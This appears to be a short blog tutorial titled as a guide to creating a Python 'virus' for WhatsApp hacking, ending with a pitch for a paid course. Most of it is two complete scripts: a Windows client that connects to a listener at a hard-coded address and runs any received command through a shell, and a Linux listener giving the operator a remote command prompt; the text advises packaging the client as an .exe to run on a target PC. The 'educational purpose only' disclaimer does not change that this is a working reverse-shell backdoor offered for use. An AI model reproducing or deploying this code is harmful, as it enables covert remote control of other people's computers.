How to create virus in python WhatsApp Hacking 2

In this article, I’m going to explain everything. I’m assuming you know basic of python. How to write python program.
Please don’t misuse this for any bad things it is for educational purpose only. Hacking someone’s WhatsApp is not going to solve your personal issue better way is talk to him/her or let him/her go.
I know some of you will definitely misuse it that’s why I’m not going to create an awesome malware.
Ok let’s get start
I’m using a virtual machine this virus will run on window pc we can control it from our Linux machine. First, we will use this program then convert into .exe files using pyinstaller.  So make sure you install python on your window machine.
Here is window code
import socket                     
import subprocess                

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)      
    s.connect(('192.168.43.60', 8080))                           
 
    while True:                                               
        command =  s.recv(1024)                       
        
        if 'terminate' in command:                  
            s.close()
            break 
        
        else:                               
            
            CMD =  subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            s.send( CMD.stdout.read()  ) 
            s.send( CMD.stderr.read()  )

def main ():
    connect()
main()

Here is Linux machine code
import socket   

def connect():
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   
    
    s.bind(("192.168.43.60", 8080))                          
    
    s.listen(1)                                            
                                                           
    
    print '[+] Listening for incoming TCP connection on port 8080'
    
    conn, addr = s.accept()    
                              
    
    print '[+] We got a connection from: ', addr


    while True:
        
        command = raw_input("Shell> ")  
        
        if 'terminate' in command:       
            conn.send('terminate')
            conn.close()
            break

        else:
            conn.send(command)    
            print conn.recv(1024)
        
def main ():
    connect()
main()

First, run Linux code after then run window code
then you can run simple window commands browse files and folders.
If you want to more details about how to create virus then buy this course bundle at $49